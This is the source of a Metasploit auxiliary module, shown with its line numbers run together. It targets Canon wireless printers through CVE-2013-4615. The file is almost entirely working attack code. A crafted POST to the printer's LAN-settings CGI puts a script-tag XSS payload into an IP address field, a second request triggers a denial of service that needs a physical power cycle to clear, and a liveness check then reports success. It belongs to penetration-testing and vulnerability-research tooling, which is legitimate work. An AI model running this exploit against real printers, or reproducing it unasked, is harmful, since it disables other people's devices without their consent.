Path: blob/master/modules/auxiliary/dos/http/canon_wireless_printer.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Canon Wireless Printer Denial Of Service',14'Description' => %q{15The HTTP management interface on several models of Canon Wireless printers16allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:17if this module is successful, the device can only be recovered with a physical18power cycle.19},20'License' => MSF_LICENSE,21'Author' => [22'Matt "hostess" Andreko <mandreko[at]accuvant.com>'23],24'References' => [25[ 'CVE', '2013-4615' ],26[ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']27],28'DisclosureDate' => '2013-06-18',29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)36end3738def is_alive?39res = send_request_raw({40'method' => 'GET',41'uri' => '/'42}, 10)4344return !res.nil?45end4647def run48begin49# The first request will set the new IP50send_request_cgi({51'method' => 'POST',52'uri' => '/English/pages_MacUS/cgi_lan.cgi',53'data' => 'OK.x=61' \54'&OK.y=12' \55'&LAN_OPT1=2' \56'&LAN_TXT1=Wireless' \57'&LAN_OPT3=1' \58'&LAN_TXT21=192' \59'&LAN_TXT22=168' \60'&LAN_TXT23=1' \61'&LAN_TXT24=114"><script>alert(\'xss\');</script>' \62'&LAN_TXT31=255' \63'&LAN_TXT32=255' \64'&LAN_TXT33=255' \65'&LAN_TXT34=0' \66'&LAN_TXT41=192' \67'&LAN_TXT42=168' \68'&LAN_TXT43=1' \69'&LAN_TXT44=1' \70'&LAN_OPT2=4' \71'&LAN_OPT4=1' \72'&LAN_HID1=1'73})74rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE75print_error("Couldn't connect to #{rhost}:#{rport}")76return77end7879# The second request will load the network options page, which seems to trigger the DoS80send_request_cgi({81'method' => 'GET',82'uri' => '/English/pages_MacUS/lan_set_content.html'83}, 5) # default timeout, we don't care about the response8485# Check to see if it worked or not86if is_alive?87print_error("#{rhost}:#{rport} - Server is still alive")88else89print_good("#{rhost}:#{rport} - Connection Refused: Success!")90end91end92end939495